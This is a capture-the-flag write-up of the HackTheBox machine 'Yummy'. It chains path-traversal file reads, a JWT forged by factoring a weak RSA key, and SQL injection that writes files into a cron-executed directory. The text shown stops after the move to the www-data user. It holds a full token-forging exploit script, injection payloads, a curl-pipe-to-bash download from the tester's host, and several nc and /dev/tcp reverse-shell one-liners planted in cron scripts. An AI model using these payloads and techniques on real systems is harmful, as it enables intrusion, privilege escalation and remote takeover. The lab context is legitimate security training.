Summary

Great box with a webapp LFI turning into modifying a jwt to give access to an admin dashboard. In the dashboard exists SQLi to abuse a script running as a cronjob by writing to 2 files and inducing an error in one of them. With a shell as mysql escalating to www-data takes writing to a cronjob that executes as www-data. Within a testing app variant are qa’s credentials. Pivoting to dev takes running sudo as dev to pull a repo with a defined pull action hook to run arbitrary code. Finally root is achieved with running rsync as sudo with an option to make the owner of the synced files root, allowing an SUID bash to be created by root.

Enumeration

rustscan 10.10.11.36

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.36:22
Open 10.10.11.36:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 22,80 10.10.11.36

Starting Nmap 7.80 ( https://nmap.org ) at 2024-10-11 17:09 UTC
Initiating Ping Scan at 17:09
Scanning 10.10.11.36 [2 ports]
Completed Ping Scan at 17:09, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:09
Completed Parallel DNS resolution of 1 host. at 17:09, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:09
Scanning 10.10.11.36 [2 ports]
Discovered open port 22/tcp on 10.10.11.36
Discovered open port 80/tcp on 10.10.11.36
Completed Connect Scan at 17:09, 0.07s elapsed (2 total ports)
Nmap scan report for 10.10.11.36
Host is up, received syn-ack (0.094s latency).
Scanned at 2024-10-11 17:09:59 UTC for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
nmap -sCV -p 22,80 10.10.11.36

Starting Nmap 7.92 ( https://nmap.org ) at 2024-10-11 12:10 CDT
Nmap scan report for 10.10.11.36
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add that to my /etc/hosts and head on over.

Port 80

dirsearch -u http://yummy.htb

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Yummy/reports/http_yummy.htb/_24-10-11_12-14-56.txt

Target: http://yummy.htb/

[12:14:56] Starting: 
[12:15:46] 302 -  199B  - /dashboard  ->  /login
[12:16:00] 200 -    7KB - /login
[12:16:00] 302 -  199B  - /logout  ->  /login
[12:16:13] 200 -    8KB - /register

I did toss out a subdomain scan but nothing came up. Onto manual investigation.

front_page
Click for full image

A site used for making reservations, complete with a login/register feature and an internal dashboard for viewing reservations.

register portal

reservation dashboard

Nothing here, so I will make a reservation. First I will check what restrictions are placed on the fields, and try to get some XSS to detonate.

making a reservation w/ special characters

proper format reservation making

failed XSS on reservation dashboard

No XSS, looks to be either escaping the tags or properly handling the input. On the dashboard there are two buttons, one to delete (which is maybe vulnerable to idor) and an iCalendar save button that downloads a .ics file to import the calendar event.

The button follows an odd chain though, as it will GET an id corresponding to the reservation id at /reminder/ID, but then get redirected to /export/FILE.ics to download the actual file. Whenever files are hard referenced on endpoints there are a couple things worth trying.

LFI

When I try to GET /export it yields a 404 not found. That might mean it’s a RESTful API that is running code on /export and this might be vulnerable to directory traversal.

GET /export/../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://yummy.htb/dashboard
DNT: 1
Connection: close
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiY3VzdG9tZXJfNDU0Njc2MGEiLCJpYXQiOjE3Mjg2NjcyMTAsImV4cCI6MTcyODY3MDgxMCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxMTgzMjk3NTkyNjE5MDMxNzg3MDA5ODY2OTQ2MjI0MjU2NTEzOTIxNjQ0ODE3MTUwMjM1MzM1ODcwMzM5NDY1OTA4NDkwOTYxNDgyMDQ1NTQxOTI1ODk5MzQ5OTM3Nzg3NTY5MjQ0NTA3MTMwOTI5MTgyNjEzNTEyNjY3MTk1NjIzNjcyNDI1NTgxMTYxOTQzNDk3MzA1NDg5NzcyODU2Mzk0OTc0NDcwOTY4ODMzMjY4MjAyMzg0MDgxMzg5MzUyMjY0MTAwODEwMTc5MzQ4Njk1Njc4NjI4NzcwOTUyMzU4MDIyMzk2Njk1Njc4ODgxMjM5NjUzMDMyNjY3MzUyMDE3NTIwMjQxNTYxNzkzOTQwODEyMjQyMjUxOTc0Mzg5MTk3NzE1MTU4Njg2MjcyNjEyOTQ4MzUwMDEiLCJlIjo2NTUzN319.Bz12rTMFAKpNNkwf_wYd4AUNoNiYFEEfjA1mVtNPXQEIjy1_RgMaMpu57AhkHhGG92nw5tDsmpLg18-ru39OKKDkiFACILee5GWboKXR6Bazp-Qxv-_Te01SSeGxjPdfg2pG-8RWx3X5CK8UsnDq-VauCKUp1Ey_YWExG4QNwBRuRr8; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.Zwll8w.csotfTsnDNLiNBWs-rcmEnPwYsY
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=passwd
Content-Length: 2033
Content-Type: application/octet-stream
Date: Fri, 11 Oct 2024 17:53:20 GMT
Etag: "1727686952.3123646-2033-907283780"
Last-Modified: Mon, 30 Sep 2024 09:02:32 GMT
Server: Caddy
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
--[snip]--

Two things are leaked here, obviously /etc/passwd but secondarily this is a Caddy server. A configuration file for Caddy is located at /etc/caddy/Caddyfile and the contents after GETing /export/../../../../../etc/caddy/Caddyfile is:

:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server  
    }
}

Another useful file for LFI is the crontab, to investigate what scripts are autorunning and potentially exploitable.

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

GET /export/../../../../../../data/scripts/app_backup.sh

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

Backup zip inside of /opt/app, but maybe I don’t know if the webapp is hosted at /opt so I try to get the one inside of /var/www/.

GET /export/../../../../../../var/www/backupapp.zip grabs me the zip file, I’ll unzip it in the next section after I’ve grabbed everything I deem worth looking through.

GET /export/../../../../../../data/scripts/table_cleanup.sh

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

Potential creds leak?

GET /export/../../../../../../data/scripts/dbmonitor.sh

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

taking inventory

The dbmonitor.sh script looks potentially abusable at some point. It will run any commands inside of files under the name /data/scripts/fixer-v, only after grep fails to find “database is down” inside of /data/scripts/dbstatus.json

Onto the zip.

unzip backupapp.zip 

Archive:  backupapp.zip
   creating: opt/app/
   creating: opt/app/middleware/
  inflating: opt/app/middleware/verification.py  
   creating: opt/app/middleware/__pycache__/
  inflating: opt/app/middleware/__pycache__/verification.cpython-311.pyc  
  inflating: opt/app/middleware/__pycache__/verification.cpython-312.pyc  
  inflating: opt/app/app.py          
   creating: opt/app/config/
  inflating: opt/app/config/signature.py  
   creating: opt/app/config/__pycache__/
  inflating: opt/app/config/__pycache__/signature.cpython-311.pyc  
  inflating: opt/app/config/__pycache__/signature.cpython-312.pyc  
   creating: opt/app/templates/
  inflating: opt/app/templates/register.html  
  inflating: opt/app/templates/login.html  
  inflating: opt/app/templates/index.html  
  inflating: opt/app/templates/admindashboard.html  
  inflating: opt/app/templates/dashboard.html  
--[snip]--

Interesting template of admindashboard.html, more importantly I now know this is a flask application. I can check app.py to find all defined routes. Additionally I can check for any hard coded passwords besides the one I found.

grep -inR password

grep: config/__pycache__/signature.cpython-312.pyc: binary file matches
grep: config/__pycache__/signature.cpython-311.pyc: binary file matches
config/signature.py:22:    password=None,
templates/register.html:99:                    <label for="password">Password:</label>
templates/register.html:100:                    <input type="password" id="password" name="password">
templates/register.html:146:                password: document.getElementById("password").value
templates/login.html:100:                <label for="password">Password:</label>
templates/login.html:101:                <input type="password" id="password" name="password">
templates/login.html:140:                password: document.getElementById("password").value
grep: __pycache__/app.cpython-312.pyc: binary file matches
app.py:23:    'password': '3wDo7gSRZIwIHRxZ!',
app.py:39:        password = request.json.get('password')
app.py:40:        password2 = hashlib.sha256(password.encode()).hexdigest()
app.py:41:        if not email or not password:
app.py:42:            return jsonify(message="email or password is missing"), 400
app.py:47:                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
app.py:48:                cursor.execute(sql, (email, password2))
app.py:64:                    return jsonify(message="Invalid email or password"), 401
app.py:81:            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
app.py:82:            if not email or not password:
app.py:83:                return jsonify(error="email or password is missing"), 400
app.py:93:                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
app.py:94:                        cursor.execute(sql, (email, password, role_id))

The app.py portion in question is:

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

In searching files in the app directory I came across and interesting python script.

ls config

__pycache__  signature.py

User

shell as mysql

jwt for admindashboard

cat config/signature.py 

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

Hmm, I wonder where this is called inside of app.py

cat app.py | grep -n signature

9:from config import signature
56:                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
58:                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
cat -n app.py

    32	@app.route('/login', methods=['GET','POST'])
    33	def login():
    34	    global access_token
    35	    if request.method == 'GET':
    36	        return render_template('login.html', message=None)
    37	    elif request.method == 'POST':
    38	        email = request.json.get('email')
    39	        password = request.json.get('password')
    40	        password2 = hashlib.sha256(password.encode()).hexdigest()
    41	        if not email or not password:
    42	            return jsonify(message="email or password is missing"), 400
    43	
    44	        connection = pymysql.connect(**db_config)
    45	        try:
    46	            with connection.cursor() as cursor:
    47	                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
    48	                cursor.execute(sql, (email, password2))
    49	                user = cursor.fetchone()
    50	                if user:
    51	                    payload = {
    52	                        'email': email,
    53	                        'role': user['role_id'],
    54	                        'iat': datetime.now(timezone.utc),
    55	                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
    56	                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
    57	                    }
    58	                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
    59	
    60	                    response = make_response(jsonify(access_token=access_token), 200)
    61	                    response.set_cookie('X-AUTH-Token', access_token)
    62	                    return response
    63	                else:
    64	                    return jsonify(message="Invalid email or password"), 401
    65	        finally:
    66	            connection.close()

Every login calls the signature.py export_key() method to grab the key then encode a jwt of a defined payload.

Checking all routes I find the aforementioned /admindashboard at line 266.

cat -n app.py | grep 'app.route'
    32	@app.route('/login', methods=['GET','POST'])
    68	@app.route('/logout', methods=['GET'])
    74	@app.route('/register', methods=['GET', 'POST'])
   101	@app.route('/', methods=['GET', 'POST'])
   105	@app.route('/book', methods=['GET', 'POST'])
   152	@app.route('/export/<path:filename>')
   179	@app.route('/dashboard', methods=['GET', 'POST'])
   201	@app.route('/delete/<appointID>')
   241	@app.route('/reminder/<appointID>')
   266	@app.route('/admindashboard', methods=['GET', 'POST'])
cat -n app.py

   266	@app.route('/admindashboard', methods=['GET', 'POST'])
   267	def admindashboard():
   268	        validation = validate_login()
   269	        if validation != "administrator":
   270	            return redirect(url_for('login'))
   271	 
   272	        try:
   273	            connection = pymysql.connect(**db_config)
   274	            with connection.cursor() as cursor:
   275	                sql = "SELECT * from appointments"
   276	                cursor.execute(sql)
   277	                connection.commit()
   278	                appointments = cursor.fetchall()
   279	
   280	                search_query = request.args.get('s', '')
   281	
   282	                # added option to order the reservations
   283	                order_query = request.args.get('o', '')
   284	
   285	                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
   286	                cursor.execute(sql, ('%' + search_query + '%',))
   287	                connection.commit()
   288	                appointments = cursor.fetchall()
   289	            connection.close()
   290	            
   291	            return render_template('admindashboard.html', appointments=appointments)
   292	        except Exception as e:
   293	            flash(str(e), 'error')
   294	            return render_template('admindashboard.html', appointments=appointments)

When accessing the admin dashboard it will call the validate_login() function and check if the result isn’t administrator.

   166	def validate_login():
   167	    try:
   168	        (email, current_role), status_code = verify_token()
   169	        if email and status_code == 200 and current_role == "administrator":
   170	            return current_role
   171	        elif email and status_code == 200:
   172	            return email
   173	        else:
   174	            raise Exception("Invalid token")
   175	    except Exception as e:
   176	        return None

There’s the check we need, the current_role is checked specifically to be administrator, and if it is it will pass through the validate_login() function without triggering the redirect. Now I need to check how the verify_token() function works.

grep -inR 'verify_token()'

middleware/verification.py:7:def verify_token():
app.py:168:        (email, current_role), status_code = verify_token()
cat middleware/verification.py

#!/usr/bin/python3

from flask import request, jsonify
import jwt
from config import signature

def verify_token():
    token = None
    if "Cookie" in request.headers:
        try:
            token = request.headers["Cookie"].split(" ")[0].split("X-AUTH-Token=")[1].replace(";", '')
        except:
            return jsonify(message="Authentication Token is missing"), 401

    if not token:
        return jsonify(message="Authentication Token is missing"), 401

    try:
        data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
        current_role = data.get("role")
        email = data.get("email")
        if current_role is None or ("customer" not in current_role and "administrator" not in current_role):
            return jsonify(message="Invalid Authentication token"), 401

        return (email, current_role), 200

    except jwt.ExpiredSignatureError:
        return jsonify(message="Token has expired"), 401
    except jwt.InvalidTokenError:
        return jsonify(message="Invalid token"), 401
    except Exception as e:
        return jsonify(error=str(e)), 500

Uses the X-AUTH-Token to define the jwt, and it checks by decoding then reading the json values. There’s an interesting vulnerability here, where given that I have the script these checks are calling I can call it in the same way to decode a jwt and change the role_id to administrator then encode it back. (maybe add an expiration date years from now in the process).

I’ll grab the jwt and inspect it to verify everything I’ve looked at is right.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiY3VzdG9tZXJfNDU0Njc2MGEiLCJpYXQiOjE3Mjg2NjcyMTAsImV4cCI6MTcyODY3MDgxMCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxMTgzMjk3NTkyNjE5MDMxNzg3MDA5ODY2OTQ2MjI0MjU2NTEzOTIxNjQ0ODE3MTUwMjM1MzM1ODcwMzM5NDY1OTA4NDkwOTYxNDgyMDQ1NTQxOTI1ODk5MzQ5OTM3Nzg3NTY5MjQ0NTA3MTMwOTI5MTgyNjEzNTEyNjY3MTk1NjIzNjcyNDI1NTgxMTYxOTQzNDk3MzA1NDg5NzcyODU2Mzk0OTc0NDcwOTY4ODMzMjY4MjAyMzg0MDgxMzg5MzUyMjY0MTAwODEwMTc5MzQ4Njk1Njc4NjI4NzcwOTUyMzU4MDIyMzk2Njk1Njc4ODgxMjM5NjUzMDMyNjY3MzUyMDE3NTIwMjQxNTYxNzkzOTQwODEyMjQyMjUxOTc0Mzg5MTk3NzE1MTU4Njg2MjcyNjEyOTQ4MzUwMDEiLCJlIjo2NTUzN319.Bz12rTMFAKpNNkwf_wYd4AUNoNiYFEEfjA1mVtNPXQEIjy1_RgMaMpu57AhkHhGG92nw5tDsmpLg18-ru39OKKDkiFACILee5GWboKXR6Bazp-Qxv-_Te01SSeGxjPdfg2pG-8RWx3X5CK8UsnDq-VauCKUp1Ey_YWExG4QNwBRuRr8

{
  "alg": "RS256",
  "typ": "JWT"
}
{
  "email": "raccoon@raccoon.xyz",
  "role": "customer_4546760a",
  "iat": 1728667210,
  "exp": 1728670810,
  "jwk": {
    "kty": "RSA",
    "n": "118329759261903178700986694622425651392164481715023533587033946590849096148204554192589934993778756924450713092918261351266719562367242558116194349730548977285639497447096883326820238408138935226410081017934869567862877095235802239669567888123965303266735201752024156179394081224225197438919771515868627261294835001",
    "e": 65537
  }
}

I can modify the signature.py script to perform the actions I need.

In short, since n is a relatively small number and given to us from the above jwt, I can determine p and q, which means I can generate the private key used to sign the jwt. In the code I decode the jwt and find the factors for n and assign them to p and q. Now with p and q I am able to calculate phi_n and d to generate the private key using all 5 variables of n,e,d,p,q. With the new key I change the jwt role to be administrator and then re-encode it and sign it with the found private key.

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "put-jwt-here"

def add_padding(b64_str):
    while len(b64_str) % 4 != 0:
        b64_str += '='
    return b64_str

def base64url_decode(input):
    input = add_padding(input)
    input = input.replace('-', '+').replace('_', '/')
    return base64.b64decode(input)

# Decode the payload
js = json.loads(base64url_decode(token.split(".")[1]).decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"

admin_token = jwt.encode(data, private_key, algorithm="RS256")
print(admin_token)
python3 exploit.py 

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODY3Mzc3MCwiZXhwIjoxNzI4Njc3MzcwLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjExODMyOTc1OTI2MTkwMzE3ODcwMDk4NjY5NDYyMjQyNTY1MTM5MjE2NDQ4MTcxNTAyMzUzMzU4NzAzMzk0NjU5MDg0OTA5NjE0ODIwNDU1NDE5MjU4OTkzNDk5Mzc3ODc1NjkyNDQ1MDcxMzA5MjkxODI2MTM1MTI2NjcxOTU2MjM2NzI0MjU1ODExNjE5NDM0OTczMDU0ODk3NzI4NTYzOTQ5NzQ0NzA5Njg4MzMyNjgyMDIzODQwODEzODkzNTIyNjQxMDA4MTAxNzkzNDg2OTU2Nzg2Mjg3NzA5NTIzNTgwMjIzOTY2OTU2Nzg4ODEyMzk2NTMwMzI2NjczNTIwMTc1MjAyNDE1NjE3OTM5NDA4MTIyNDIyNTE5NzQzODkxOTc3MTUxNTg2ODYyNzI2MTI5NDgzNTAwMSIsImUiOjY1NTM3fX0.BEP9o69Qxq_uAiB6bqjpRpqUyglWyPy1tA9-ND6g7QDMnVGHeZUqaWc9EZe7F9_H4v3l7Ts-Qn1F7f8qHEBaqc25ecO2pSXHB6eukR4Ymcl-Drmynv9Xxr4-3g6-oCCmFXIFyr5UTUR2L8P66jIR42x4NBf0jdtP0P07EWOXmCM39Vo

And all that’s left to try here is accessing the admin dashboard with the new jwt.

GET /admindashboard HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODY3Mzc3MCwiZXhwIjoxNzI4Njc3MzcwLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjExODMyOTc1OTI2MTkwMzE3ODcwMDk4NjY5NDYyMjQyNTY1MTM5MjE2NDQ4MTcxNTAyMzUzMzU4NzAzMzk0NjU5MDg0OTA5NjE0ODIwNDU1NDE5MjU4OTkzNDk5Mzc3ODc1NjkyNDQ1MDcxMzA5MjkxODI2MTM1MTI2NjcxOTU2MjM2NzI0MjU1ODExNjE5NDM0OTczMDU0ODk3NzI4NTYzOTQ5NzQ0NzA5Njg4MzMyNjgyMDIzODQwODEzODkzNTIyNjQxMDA4MTAxNzkzNDg2OTU2Nzg2Mjg3NzA5NTIzNTgwMjIzOTY2OTU2Nzg4ODEyMzk2NTMwMzI2NjczNTIwMTc1MjAyNDE1NjE3OTM5NDA4MTIyNDIyNTE5NzQzODkxOTc3MTUxNTg2ODYyNzI2MTI5NDgzNTAwMSIsImUiOjY1NTM3fX0.BEP9o69Qxq_uAiB6bqjpRpqUyglWyPy1tA9-ND6g7QDMnVGHeZUqaWc9EZe7F9_H4v3l7Ts-Qn1F7f8qHEBaqc25ecO2pSXHB6eukR4Ymcl-Drmynv9Xxr4-3g6-oCCmFXIFyr5UTUR2L8P66jIR42x4NBf0jdtP0P07EWOXmCM39Vo
Upgrade-Insecure-Requests: 1

admin dashboard

Success. Always keep your keys and key-related scripts safe kids. Well that or make n a large enough number to not be factorable so simply.

SQLi to RCE*

Recalling back to the /admindashboard route there was some user input placed directly into a mysql query the query came out to be SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query} where the admin can change the search parameter labeled %s and the order (ASC or DESC). The search url follows the format: /admindashboard?s=test%40test.com&o=ASC.

With no protections in place, and since I can modify both parameters, in theory I can write to files very simply and abuse the crontab scripts I found earlier. The basic format of writing to a file in MySQL is ; SELECT "" into outfile ""; where the first string is the data to write into the second string. I can append this to ASC with a semicolon to test.

I will first check if my intuition about the script was correct. I need to write to the file /data/scripts/dbstatus.json with anything but “database is down” and then it will run /usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1 and run whatever the output of that is with bash. So let’s see how that handles a file. I toss whoami into test.sh and run the sequence of commands.

test=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1 test.sh)
$test
raccoon

Excellent it does run the commands outright. Now onto double checking the if statement grep logic:

cat test.json 
database is down
if grep -q "database is down" test.json 2>/dev/null; then echo 'successfully failed'; else echo 'fail'; fi;
successfully failed

nano test.json
cat test.json 
database is up
if grep -q "database is down" test.json 2>/dev/null; then echo 'successfully failed'; else echo 'fail'; fi;
fail

Great, now in theory if I can write to files with sql injection I can run any command I put into a file beginning with /data/scripts/fixer-v The final part of this exploit is to host a revshell and run it with curl piped into bash. The payloads to inject after ASC pre encoding:

; SELECT "ERROR" into outfile "/data/scripts/dbstatus.json";
; SELECT "curl http://10.10.14.8:8081/raccoonshell.sh|bash" into outfile "/data/scripts/fixer-vraccoon.sh";
cat raccoonshell.sh 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.8 7777 >/tmp/f

The GET requests look like:

/admindashboard?s=chris&o=ASC%3b+SELECT+"ERROR"+into+outfile+"/data/scripts/dbstatus.json"%3b

/admindashboard?s=chris&o=ASC%3b+SELECT+"curl+http%3a//10.10.14.8%3a8081/raccoonshell.sh|bash"+into+outfile+"/data/scripts/fixer-vraccoon.sh"%3b
httpserver
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.36 - - [11/Oct/2024 15:23:59] "GET /raccoonshell.sh HTTP/1.1" 200 -
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.36 45054
bash: cannot set terminal process group (8582): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ 

shell as www-data

writeable* crontab script

Maybe I can try that database username password pair I found earlier. Notable here that I upgraded my session before doing this.

mysql@yummy:/var/spool/cron$ mysql -u chef yammy_db -p
Enter password: 
ERROR 1044 (42000): Access denied for user 'chef'@'localhost' to database 'yammy_db'

Recalling back to the crontab the app_backup.sh was being run by www-data. That was at /data/scripts so in these initial enumeration rounds it is worth checking if I can write there.

mysql@yummy:/data$ ls -al
total 12
drwxr-xr-x  3 root root 4096 Sep 30 08:16 .
drwxr-xr-x 24 root root 4096 Sep 30 08:16 ..
drwxrwxrwx  2 root root 4096 Oct 11 20:45 scripts

And it looks like I can. I’ll repurpose the code for my other reverse shell and use it to get a shell as www-data. I had some issues getting a shell to pop so I added a bunch of shells and one was successful. To get www-data to run my code all I need to do is mv a script with the same name to /data/scripts.

mysql@yummy:/data/scripts$ mv app_backup.sh /tmp/app_backup.sh.1
mysql@yummy:/data/scripts$ nano /tmp/app_backup.sh
mysql@yummy:/data/scripts$ mv /tmp/app_backup.sh .
mv: replace './app_backup.sh', overriding mode 0644 (rw-r--r--)? y
mysql@yummy:/data/scripts$ cat app_backup.sh 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.8/8888 0>&1
0<&196;exec 196<>/dev/tcp/10.10.14.8/8888; bash <&196 >&196 2>&196
